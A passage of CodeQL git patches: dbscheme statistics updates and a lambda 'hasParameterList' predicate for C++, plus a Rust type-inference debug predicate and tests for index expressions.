6313666 is_complete @@ -22736,7 +22731,7 @@ 1 2 - 7805177 + 7805179 @@ -22752,7 +22747,7 @@ 1 2 - 7805177 + 7805179 @@ -22768,7 +22763,7 @@ 1 2 - 5984987 + 5984988 2 @@ -22789,7 +22784,7 @@ 1 2 - 6313665 + 6313666 @@ -22852,48 +22847,48 @@ is_standard_layout_class - 1314793 + 1314777 id - 1314793 + 1314777 is_complete - 1574133 + 1574114 id - 1574133 + 1574114 is_class_template - 284422 + 284418 id - 284422 + 284418 class_instantiation - 1297979 + 1297977 to - 1294181 + 1294166 from - 89303 + 89302 @@ -22907,12 +22902,12 @@ 1 2 - 1291517 + 1291489 2 8 - 2663 + 2676 @@ -22948,22 +22943,22 @@ 5 7 - 7529 + 7516 7 10 - 6830 + 6844 10 17 - 7226 + 7239 17 53 - 6765 + 6751 53 @@ -22978,11 +22973,11 @@ class_template_argument - 3419936 + 3419896 type_id - 1594059 + 1594040 index @@ -22990,7 +22985,7 @@ arg_type - 1008981 + 1008969 @@ -23004,22 +22999,22 @@ 1 2 - 663410 + 663402 2 3 - 479237 + 479231 3 4 - 302013 + 302010 4 7 - 120821 + 120819 7 @@ -23040,22 +23035,22 @@ 1 2 - 697657 + 697648 2 3 - 493650 + 493644 3 4 - 300049 + 300045 4 113 - 102702 + 102700 @@ -23163,22 +23158,22 @@ 1 2 - 633053 + 633045 2 3 - 206960 + 206957 3 4 - 60608 + 60607 4 11 - 76762 + 76761 11 @@ -23199,12 +23194,12 @@ 1 2 - 889452 + 889441 2 3 - 96886 + 96885 3 @@ -23271,7 +23266,7 @@ 1 2 - 185510 + 185511 2 @@ -23445,15 +23440,15 @@ is_proxy_class_for - 60476 + 60475 id - 60476 + 60475 templ_param_id - 57140 + 57139 @@ -23467,7 +23462,7 @@ 1 2 - 60476 + 60475 @@ -23483,7 +23478,7 @@ 1 2 - 56243 + 56242 2 @@ -23498,11 +23493,11 @@ type_mentions - 5813147 + 5813148 id - 5813147 + 5813148 type_id @@ -23528,7 +23523,7 @@ 1 2 - 5813147 + 5813148 @@ -23544,7 +23539,7 @@ 1 2 - 5813147 + 5813148 @@ -23560,7 +23555,7 @@ 1 2 - 5813147 + 5813148 @@ -23694,7 +23689,7 @@ 1 2 - 5721984 + 5721985 2 @@ -23715,7 +23710,7 @@ 1 2 - 5721984 + 5721985 2 @@ -23805,11 +23800,11 @@ function_instantiation - 1220176 + 1220177 to - 1220176 + 1220177 from @@ -23827,7 +23822,7 @@ 1 2 - 1220176 + 1220177 @@ -23877,7 +23872,7 @@ function_id - 1822510 + 1822511 index @@ -23930,7 +23925,7 @@ 1 2 - 1005954 + 1005955 2 @@ -24961,7 +24956,7 @@ arg_type - 11341 + 11340 @@ -26566,11 +26561,11 @@ typespecifiers - 966360 + 966335 type_id - 959938 + 959913 spec_id @@ -26588,7 +26583,7 @@ 1 2 - 953515 + 953491 2 @@ -26642,8 +26637,8 @@ 13 - 48325 - 48326 + 48324 + 48325 13 @@ -26654,7 +26649,7 @@ funspecifiers - 9674598 + 9674600 func_id @@ -26676,7 +26671,7 @@ 1 2 - 435450 + 435451 2 @@ -26812,11 +26807,11 @@ varspecifiers - 3043327 + 3043328 var_id - 2298381 + 2298382 spec_id @@ -27516,11 +27511,11 @@ attribute_args - 96345 + 96265 id - 96345 + 96265 kind @@ -27528,7 +27523,7 @@ attribute - 83066 + 83065 index @@ -27536,7 +27531,7 @@ location - 89501 + 89500 @@ -27550,7 +27545,7 @@ 1 2 - 96345 + 96265 @@ -27566,7 +27561,7 @@ 1 2 - 96345 + 96265 @@ -27582,7 +27577,7 @@ 1 2 - 96345 + 96265 @@ -27598,7 +27593,7 @@ 1 2 - 96345 + 96265 @@ -27627,8 +27622,8 @@ 13 - 6603 - 6604 + 6597 + 6598 13 @@ -27733,12 +27728,12 @@ 1 2 - 75272 + 75350 2 4 - 6474 + 6395 4 @@ -27759,7 +27754,7 @@ 1 2 - 80824 + 80823 2 @@ -27780,7 +27775,7 @@ 1 2 - 76947 + 76946 2 @@ -27801,7 +27796,7 @@ 1 2 - 78516 + 78515 2 @@ -27840,8 +27835,8 @@ 13 - 6486 - 6487 + 6480 + 6481 13 @@ -27956,12 +27951,12 @@ 1 2 - 87101 + 87179 2 23 - 2400 + 2320 @@ -27977,7 +27972,7 @@ 1 2 - 89290 + 89289 2 @@ -27998,7 +27993,7 @@ 1 2 - 89106 + 89105 2 @@ -28019,7 +28014,7 @@ 1 2 - 88961 + 88960 2 @@ -28190,15 +28185,15 @@ attribute_arg_constant - 87075 + 86995 arg - 87075 + 86995 constant - 87075 + 86995 @@ -28212,7 +28207,7 @@ 1 2 - 87075 + 86995 @@ -28228,7 +28223,7 @@ 1 2 - 87075 + 86995 @@ -28445,7 +28440,7 @@ 1 2 - 569891 + 569892 2 @@ -28591,15 +28586,15 @@ unspecifiedtype - 8145752 + 8145616 type_id - 8145752 + 8145616 unspecified_type_id - 4690447 + 4690378 @@ -28613,7 +28608,7 @@ 1 2 - 8145752 + 8145616 @@ -28629,17 +28624,17 @@ 1 2 - 3130965 + 3130941 2 3 - 1275600 + 1275559 3 6277 - 283881 + 283878 @@ -28649,7 +28644,7 @@ member - 4659692 + 4659693 parent @@ -28661,7 +28656,7 @@ child - 4543139 + 4543140 @@ -28934,7 +28929,7 @@ 1 2 - 4543139 + 4543140 @@ -29568,7 +29563,7 @@ 1 2 - 594728 + 594729 2 @@ -29833,11 +29828,11 @@ frienddecls - 878421 + 881070 id - 878421 + 881070 type_id @@ -29863,7 +29858,7 @@ 1 2 - 878421 + 881070 @@ -29879,7 +29874,7 @@ 1 2 - 878421 + 881070 @@ -29895,7 +29890,7 @@ 1 2 - 878421 + 881070 @@ -29921,37 +29916,37 @@ 3 7 - 4486 + 4229 7 - 12 - 4315 + 11 + 4187 - 12 + 11 20 4571 20 - 32 + 31 + 4016 + + + 31 + 43 4144 - 33 - 50 - 4742 + 43 + 78 + 3887 - 50 - 80 - 4742 - - - 101 + 79 120 - 939 + 2905 @@ -29977,37 +29972,37 @@ 3 7 - 4486 + 4229 7 - 12 - 4315 + 11 + 4187 - 12 + 11 20 4571 20 - 32 + 31 + 4016 + + + 31 + 43 4144 - 33 - 50 - 4742 + 43 + 78 + 3887 - 50 - 80 - 4742 - - - 101 + 79 120 - 939 + 2905 @@ -30044,32 +30039,32 @@ 1 2 - 60028 + 59900 2 3 - 7605 + 7733 3 8 - 7519 + 7775 8 - 15 - 7605 + 16 + 7476 - 15 + 16 40 - 7605 + 7391 40 164 - 7135 + 7220 @@ -30085,32 +30080,32 @@ 1 2 - 60028 + 59900 2 3 - 7605 + 7733 3 8 - 7519 + 7775 8 - 15 - 7605 + 16 + 7476 - 15 + 16 40 - 7605 + 7391 40 164 - 7135 + 7220 @@ -30151,7 +30146,7 @@ 2 - 20371 + 20433 469 @@ -30204,11 +30199,11 @@ comments - 11190889 + 11190891 id - 11190889 + 11190891 contents @@ -30216,7 +30211,7 @@ location - 11190889 + 11190891 @@ -30230,7 +30225,7 @@ 1 2 - 11190889 + 11190891 @@ -30246,7 +30241,7 @@ 1 2 - 11190889 + 11190891 @@ -30262,7 +30257,7 @@ 1 2 - 3906887 + 3906888 2 @@ -30288,7 +30283,7 @@ 1 2 - 3906887 + 3906888 2 @@ -30314,7 +30309,7 @@ 1 2 - 11190889 + 11190891 @@ -30330,7 +30325,7 @@ 1 2 - 11190889 + 11190891 @@ -30362,7 +30357,7 @@ 1 2 - 3286534 + 3286535 2 @@ -30383,7 +30378,7 @@ 1 2 - 3496973 + 3496974 2 @@ -30398,15 +30393,15 @@ exprconv - 9607943 + 9607944 converted - 9607837 + 9607839 conversion - 9607943 + 9607944 @@ -30420,7 +30415,7 @@ 1 2 - 9607732 + 9607734 2 @@ -30441,7 +30436,7 @@ 1 2 - 9607943 + 9607944 @@ -30451,11 +30446,11 @@ compgenerated - 10701834 + 10701576 id - 10701834 + 10701576 @@ -30875,11 +30870,11 @@ exprparents - 19402284 + 19402287 expr_id - 19402284 + 19402287 child_index @@ -30887,7 +30882,7 @@ parent_id - 12905444 + 12905447 @@ -30901,7 +30896,7 @@ 1 2 - 19402284 + 19402287 @@ -30917,7 +30912,7 @@ 1 2 - 19402284 + 19402287 @@ -31035,12 +31030,12 @@ 1 2 - 7375017 + 7375018 2 3 - 5069112 + 5069113 3 @@ -31061,12 +31056,12 @@ 1 2 - 7375017 + 7375018 2 3 - 5069112 + 5069113 3 @@ -31081,22 +31076,22 @@ expr_isload - 6834841 + 6834842 expr_id - 6834841 + 6834842 conversionkinds - 6050432 + 6050434 expr_id - 6050432 + 6050434 kind @@ -31114,7 +31109,7 @@ 1 2 - 6050432 + 6050434 @@ -31158,8 +31153,8 @@ 1 - 5831533 - 5831534 + 5831535 + 5831536 1 @@ -31170,11 +31165,11 @@ iscall - 6209629 + 6209630 caller - 6209629 + 6209630 kind @@ -31192,7 +31187,7 @@ 1 2 - 6209629 + 6209630 @@ -31675,11 +31670,11 @@ varbind - 8232596 + 8232597 expr - 8232596 + 8232597 var @@ -31697,7 +31692,7 @@ 1 2 - 8232596 + 8232597 @@ -31768,11 +31763,11 @@ funbind - 6220036 + 6220037 expr - 6217388 + 6217389 fun @@ -31790,7 +31785,7 @@ 1 2 - 6214740 + 6214741 2 @@ -32258,11 +32253,11 @@ values - 13438635 + 13438637 id - 13438635 + 13438637 str @@ -32280,7 +32275,7 @@ 1 2 - 13438635 + 13438637 @@ -32389,15 +32384,15 @@ valuebind - 13546928 + 13546930 val - 13438635 + 13438637 expr - 13546928 + 13546930 @@ -32411,7 +32406,7 @@ 1 2 - 13348322 + 13348324 2 @@ -32432,7 +32427,7 @@ 1 2 - 13546928 + 13546930 @@ -32907,7 +32902,7 @@ 1 2 - 871775 + 871776 2 @@ -32933,7 +32928,7 @@ 1 2 - 871775 + 871776 2 @@ -33110,11 +33105,11 @@ braced_initialisers - 74045 + 74076 init - 74045 + 74076 @@ -33179,11 +33174,11 @@ exprs - 25143276 + 25143280 id - 25143276 + 25143280 kind @@ -33191,7 +33186,7 @@ location - 10554420 + 10554422 @@ -33205,7 +33200,7 @@ 1 2 - 25143276 + 25143280 @@ -33221,7 +33216,7 @@ 1 2 - 25143276 + 25143280 @@ -33399,7 +33394,7 @@ 1 2 - 8876940 + 8876942 2 @@ -33409,7 +33404,7 @@ 3 16 - 795070 + 795071 16 @@ -33430,7 +33425,7 @@ 1 2 - 9015970 + 9015972 2 @@ -33576,11 +33571,11 @@ expr_types - 25143276 + 25143280 id - 25143276 + 25143280 typeid @@ -33602,7 +33597,7 @@ 1 2 - 25143276 + 25143280 @@ -33618,7 +33613,7 @@ 1 2 - 25143276 + 25143280 @@ -35379,11 +35374,11 @@ sizeof_bind - 241380 + 241381 expr - 241380 + 241381 type_id @@ -35401,7 +35396,7 @@ 1 2 - 241380 + 241381 @@ -35524,6 +35519,10 @@ has_explicit_return_type 85 + + has_explicit_parameter_list + 85 + @@ -35558,6 +35557,22 @@ + + expr + has_explicit_parameter_list + + + 12 + + + 1 + 2 + 17730 + + + + + default_capture expr @@ -35605,6 +35620,27 @@ + + default_capture + has_explicit_parameter_list + + + 12 + + + 1 + 2 + 42 + + + 2 + 3 + 85 + + + + + has_explicit_return_type expr @@ -35647,6 +35683,90 @@ + + has_explicit_return_type + has_explicit_parameter_list + + + 12 + + + 1 + 2 + 42 + + + 2 + 3 + 42 + + + + + + + has_explicit_parameter_list + expr + + + 12 + + + 45 + 46 + 42 + + + 370 + 371 + 42 + + + + + + + has_explicit_parameter_list + default_capture + + + 12 + + + 2 + 3 + 42 + + + 3 + 4 + 42 + + + + + + + has_explicit_parameter_list + has_explicit_return_type + + + 12 + + + 1 + 2 + 42 + + + 2 + 3 + 42 + + + + + @@ -36985,11 +37105,11 @@ stmts - 6243067 + 6243068 id - 6243067 + 6243068 kind @@ -37011,7 +37131,7 @@ 1 2 - 6243067 + 6243068 @@ -37027,7 +37147,7 @@ 1 2 - 6243067 + 6243068 @@ -37291,7 +37411,7 @@ 1 2 - 2661224 + 2661225 2 @@ -38427,11 +38547,11 @@ stmtparents - 5509817 + 5509818 id - 5509817 + 5509818 index @@ -38439,7 +38559,7 @@ parent - 2336423 + 2336424 @@ -38453,7 +38573,7 @@ 1 2 - 5509817 + 5509818 @@ -38469,7 +38589,7 @@ 1 2 - 5509817 + 5509818 @@ -38683,22 +38803,22 @@ ishandler - 47376 + 47330 block - 47376 + 47330 stmt_decl_bind - 723032 + 723033 stmt - 682990 + 682992 num @@ -38706,7 +38826,7 @@ decl - 722964 + 722965 @@ -38720,7 +38840,7 @@ 1 2 - 660997 + 660998 2 @@ -38741,7 +38861,7 @@ 1 2 - 660997 + 660998 2 @@ -38884,7 +39004,7 @@ 1 2 - 722940 + 722941 2 @@ -38905,7 +39025,7 @@ 1 2 - 722964 + 722965 @@ -38915,11 +39035,11 @@ stmt_decl_entry_bind - 723032 + 723033 stmt - 682990 + 682992 num @@ -38927,7 +39047,7 @@ decl_entry - 723032 + 723033 @@ -38941,7 +39061,7 @@ 1 2 - 660997 + 660998 2 @@ -38962,7 +39082,7 @@ 1 2 - 660997 + 660998 2 @@ -39105,7 +39225,7 @@ 1 2 - 723032 + 723033 @@ -39121,7 +39241,7 @@ 1 2 - 723032 + 723033 @@ -39382,7 +39502,7 @@ location - 5383697 + 5383698 @@ -39581,7 +39701,7 @@ 1 2 - 5383697 + 5383698 @@ -39671,11 +39791,11 @@ preproctext - 4335863 + 4335864 id - 4335863 + 4335864 head @@ -39697,7 +39817,7 @@ 1 2 - 4335863 + 4335864 @@ -39713,7 +39833,7 @@ 1 2 - 4335863 + 4335864 @@ -39771,7 +39891,7 @@ 1 2 - 1526896 + 1526897 2 @@ -39817,15 +39937,15 @@ includes - 397819 + 397814 id - 397819 + 397814 included - 73281 + 73280 @@ -39839,7 +39959,7 @@ 1 2 - 397819 + 397814 @@ -39943,11 +40063,11 @@ link_parent - 38113707 + 38113713 element - 4847510 + 4847511 link_target @@ -39975,7 +40095,7 @@ 9 10 - 4148490 + 4148491 From 2bae21cbcd6c44ae8c32582860a503fafd5b0d00 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 11 Jun 2025 10:42:33 +0200 Subject: [PATCH 254/271] C++: address review comments --- .../upgrade.properties | 4 ++-- cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll | 8 -------- .../lambdas.ql | 2 +- .../upgrade.properties | 2 +- .../lambdas/syntax/empty_declarator.expected | 16 +++++++++++----- .../lambdas/syntax/empty_declarator.ql | 6 +++--- 6 files changed, 18 insertions(+), 20 deletions(-) diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties index ef15d6e09ff..9299dcb085a 100644 --- a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties @@ -1,3 +1,3 @@ -description: add predicates `hasParameterList` and `emptyParameterListIsExplicit` to capture whether a lambda has an explicitly specified parameter list and whether that list is empty, respectively.Add commentMore actionsAdd commentMore actions -compatibility: backwards +description: capture whether a lambda has an explicitly specified parameter list. +compatibility: full lambdas.rel: run lambdas.qlo diff --git a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll index 616424bd007..d1836f0ff4d 100644 --- a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll +++ b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll @@ -53,14 +53,6 @@ class LambdaExpression extends Expr, @lambdaexpr { */ predicate hasParameterList() { lambdas(underlyingElement(this), _, _, true) } - /** - * Holds if the lambda has an empty parameter list - */ - predicate emptyParameterListIsExplicit() { - this.hasParameterList() and - this.getLambdaFunction().getNumberOfParameters() = 0 - } - /** * Gets the function which will be invoked when the resulting object is called. * diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql index a16d5f25d56..f3891442a86 100644 --- a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql @@ -4,4 +4,4 @@ class LambdaExpr extends @lambdaexpr { from LambdaExpr lambda, string default_capture, boolean has_explicit_return_type where lambdas(lambda, default_capture, has_explicit_return_type) -select lambda, default_capture, has_explicit_return_type, false +select lambda, default_capture, has_explicit_return_type, true diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties index ef15d6e09ff..9dc80bb35fc 100644 --- a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/upgrade.properties @@ -1,3 +1,3 @@ -description: add predicates `hasParameterList` and `emptyParameterListIsExplicit` to capture whether a lambda has an explicitly specified parameter list and whether that list is empty, respectively.Add commentMore actionsAdd commentMore actions +description: capture whether a lambda has an explicitly specified parameter list. compatibility: backwards lambdas.rel: run lambdas.qlo diff --git a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected index ea2805288ce..1beb3eed3b3 100644 --- a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected +++ b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.expected @@ -1,5 +1,11 @@ -| parameters.cpp:8:5:8:20 | [...](...){...} | -| parameters.cpp:10:5:10:26 | [...](...){...} | -| parameters.cpp:13:5:13:20 | [...](...){...} | -| parameters.cpp:16:5:18:5 | [...](...){...} | -| parameters.cpp:25:5:25:14 | [...](...){...} | +| parameters.cpp:2:5:2:23 | [...](...){...} | with list | 2 | +| parameters.cpp:4:5:4:22 | [...](...){...} | with list | 1 | +| parameters.cpp:6:5:6:17 | [...](...){...} | with list | 1 | +| parameters.cpp:8:5:8:20 | [...](...){...} | with list | 0 | +| parameters.cpp:10:5:10:26 | [...](...){...} | with list | 0 | +| parameters.cpp:11:5:11:24 | [...](...){...} | without list | 0 | +| parameters.cpp:13:5:13:20 | [...](...){...} | with list | 0 | +| parameters.cpp:16:5:18:5 | [...](...){...} | with list | 0 | +| parameters.cpp:20:5:22:5 | [...](...){...} | without list | 0 | +| parameters.cpp:24:5:24:10 | [...](...){...} | without list | 0 | +| parameters.cpp:25:5:25:14 | [...](...){...} | with list | 0 | diff --git a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql index 81cf1316d2b..ae2043687a0 100644 --- a/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql +++ b/cpp/ql/test/library-tests/lambdas/syntax/empty_declarator.ql @@ -1,5 +1,5 @@ import cpp -from LambdaExpression e -where e.emptyParameterListIsExplicit() -select e +from LambdaExpression e, string parameterList +where if e.hasParameterList() then parameterList = "with list" else parameterList = "without list" +select e, parameterList, e.getLambdaFunction().getNumberOfParameters() From 645ce5bbda22e80e56cfa28099ae9d5497897f78 Mon Sep 17 00:00:00 2001 From: idrissrio Date: Wed, 11 Jun 2025 11:13:41 +0200 Subject: [PATCH 255/271] C++: update change note after review comments --- cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md b/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md index d240b6bd570..44f9b12968d 100644 --- a/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md +++ b/cpp/ql/lib/change-notes/2025-06-06-lambda-parameters.md @@ -1,4 +1,4 @@ --- category: feature --- -* Added predicates `hasParameterList` and `emptyParameterListIsExplicit` to capture whether a lambda has an explicitly specified parameter list and whether that list is empty, respectively. +* Added a predicate `hasParameterList` to `LambdaExpression` to capture whether a lambda has an explicitly specified parameter list. From 9f8a3abcff14900a54e1689a5b2d7334e3e135b8 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 11 Jun 2025 12:43:11 +0200 Subject: [PATCH 256/271] Rust: Add another type inference debug predicate --- rust/ql/lib/codeql/rust/internal/TypeInference.qll | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index a6151eb62e7..0e6c2fb429d 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -1516,4 +1516,15 @@ private module Debug { mce = getRelevantLocatable() and result = resolveMethodCallTarget(mce) } + + pragma[nomagic] + private int countTypes(AstNode n, TypePath path, Type t) { + t = inferType(n, path) and + result = strictcount(Type t0 | t0 = inferType(n, path)) + } + + predicate maxTypes(AstNode n, TypePath path, Type t, int c) { + c = countTypes(n, path, t) and + c = max(countTypes(_, _, _)) + } } From 301bd44a4caf52202b17647e7667f89a519d09f8 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 4 Jun 2025 10:05:56 +0200 Subject: [PATCH 257/271] Rust: Add type inference tests for index expressions --- .../test/library-tests/type-inference/main.rs | 53 +++++++++++++++ .../type-inference/type-inference.expected | 67 +++++++++++++++++-- .../type-inference/type-inference.ql | 5 +- 3 files changed, 119 insertions(+), 6 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 497bf331e51..1cec65224bd 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1753,6 +1753,58 @@ mod impl_trait { } } +mod indexers { + use std::ops::Index; + + #[derive(Debug)] + struct S; + + impl S { + fn foo(&self) -> Self { + S + } + } + + #[derive(Debug)] + struct MyVec { + data: Vec, + } + + impl MyVec { + fn new() -> Self { + MyVec { data: Vec::new() } + } + + fn push(&mut self, value: T) { + self.data.push(value); // $ fieldof=MyVec method=push + } + } + + impl Index for MyVec { + type Output = T; + + // MyVec::index + fn index(&self, index: usize) -> &Self::Output { + &self.data[index] // $ fieldof=MyVec + } + } + + fn analyze_slice(slice: &[S]) { + let x = slice[0].foo(); // $ MISSING: method=foo MISSING: type=x:S + } + + pub fn f() { + let mut vec = MyVec::new(); // $ type=vec:T.S + vec.push(S); // $ method=push + vec[0].foo(); // $ MISSING: method=foo + + let xs: [S; 1] = [S]; + let x = xs[0].foo(); // $ MISSING: method=foo MISSING: type=x:S + + analyze_slice(&xs); + } +} + fn main() { field_access::f(); method_impl::f(); @@ -1774,4 +1826,5 @@ fn main() { operators::f(); async_::f(); impl_trait::f(); + indexers::f(); } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 30672ca89e5..bac5761b686 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -2525,9 +2525,66 @@ inferType | main.rs:1752:13:1752:13 | d | | main.rs:1700:5:1700:14 | S2 | | main.rs:1752:17:1752:34 | uses_my_trait2(...) | | main.rs:1700:5:1700:14 | S2 | | main.rs:1752:32:1752:33 | S1 | | main.rs:1699:5:1699:14 | S1 | -| main.rs:1758:5:1758:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1759:5:1759:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1759:20:1759:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1759:41:1759:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1775:5:1775:15 | ...::f(...) | | {EXTERNAL LOCATION} | trait Future | +| main.rs:1763:16:1763:20 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1763:16:1763:20 | SelfParam | &T | main.rs:1759:5:1760:13 | S | +| main.rs:1763:31:1765:9 | { ... } | | main.rs:1759:5:1760:13 | S | +| main.rs:1764:13:1764:13 | S | | main.rs:1759:5:1760:13 | S | +| main.rs:1774:26:1776:9 | { ... } | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1774:26:1776:9 | { ... } | T | main.rs:1773:10:1773:10 | T | +| main.rs:1775:13:1775:38 | MyVec {...} | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1775:13:1775:38 | MyVec {...} | T | main.rs:1773:10:1773:10 | T | +| main.rs:1775:27:1775:36 | ...::new(...) | | {EXTERNAL LOCATION} | Vec | +| main.rs:1775:27:1775:36 | ...::new(...) | T | main.rs:1773:10:1773:10 | T | +| main.rs:1778:17:1778:25 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1778:17:1778:25 | SelfParam | &T | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1778:17:1778:25 | SelfParam | &T.T | main.rs:1773:10:1773:10 | T | +| main.rs:1778:28:1778:32 | value | | main.rs:1773:10:1773:10 | T | +| main.rs:1779:13:1779:16 | self | | file://:0:0:0:0 | & | +| main.rs:1779:13:1779:16 | self | &T | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1779:13:1779:16 | self | &T.T | main.rs:1773:10:1773:10 | T | +| main.rs:1779:13:1779:21 | self.data | | {EXTERNAL LOCATION} | Vec | +| main.rs:1779:13:1779:21 | self.data | T | main.rs:1773:10:1773:10 | T | +| main.rs:1779:28:1779:32 | value | | main.rs:1773:10:1773:10 | T | +| main.rs:1787:18:1787:22 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1787:18:1787:22 | SelfParam | &T | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1787:18:1787:22 | SelfParam | &T.T | main.rs:1783:10:1783:10 | T | +| main.rs:1787:25:1787:29 | index | | {EXTERNAL LOCATION} | usize | +| main.rs:1787:56:1789:9 | { ... } | | file://:0:0:0:0 | & | +| main.rs:1787:56:1789:9 | { ... } | &T | main.rs:1783:10:1783:10 | T | +| main.rs:1788:13:1788:29 | &... | | file://:0:0:0:0 | & | +| main.rs:1788:13:1788:29 | &... | &T | main.rs:1783:10:1783:10 | T | +| main.rs:1788:14:1788:17 | self | | file://:0:0:0:0 | & | +| main.rs:1788:14:1788:17 | self | &T | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1788:14:1788:17 | self | &T.T | main.rs:1783:10:1783:10 | T | +| main.rs:1788:14:1788:22 | self.data | | {EXTERNAL LOCATION} | Vec | +| main.rs:1788:14:1788:22 | self.data | T | main.rs:1783:10:1783:10 | T | +| main.rs:1788:14:1788:29 | ...[index] | | main.rs:1783:10:1783:10 | T | +| main.rs:1788:24:1788:28 | index | | {EXTERNAL LOCATION} | usize | +| main.rs:1792:22:1792:26 | slice | | file://:0:0:0:0 | & | +| main.rs:1793:17:1793:21 | slice | | file://:0:0:0:0 | & | +| main.rs:1793:23:1793:23 | 0 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1797:13:1797:19 | mut vec | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1797:13:1797:19 | mut vec | T | main.rs:1759:5:1760:13 | S | +| main.rs:1797:23:1797:34 | ...::new(...) | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1797:23:1797:34 | ...::new(...) | T | main.rs:1759:5:1760:13 | S | +| main.rs:1798:9:1798:11 | vec | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1798:9:1798:11 | vec | T | main.rs:1759:5:1760:13 | S | +| main.rs:1798:18:1798:18 | S | | main.rs:1759:5:1760:13 | S | +| main.rs:1799:9:1799:11 | vec | | main.rs:1768:5:1771:5 | MyVec | +| main.rs:1799:9:1799:11 | vec | T | main.rs:1759:5:1760:13 | S | +| main.rs:1799:13:1799:13 | 0 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1801:13:1801:14 | xs | | file://:0:0:0:0 | [] | +| main.rs:1801:21:1801:21 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1801:26:1801:28 | [...] | | file://:0:0:0:0 | [] | +| main.rs:1801:27:1801:27 | S | | main.rs:1759:5:1760:13 | S | +| main.rs:1802:17:1802:18 | xs | | file://:0:0:0:0 | [] | +| main.rs:1802:20:1802:20 | 0 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1804:23:1804:25 | &xs | | file://:0:0:0:0 | & | +| main.rs:1804:23:1804:25 | &xs | &T | file://:0:0:0:0 | [] | +| main.rs:1804:24:1804:25 | xs | | file://:0:0:0:0 | [] | +| main.rs:1810:5:1810:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1811:5:1811:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1811:20:1811:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1811:41:1811:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1827:5:1827:15 | ...::f(...) | | {EXTERNAL LOCATION} | trait Future | testFailures diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index e7c11bcaebf..2278cde8a8f 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -55,10 +55,13 @@ module TypeTest implements TestSig { 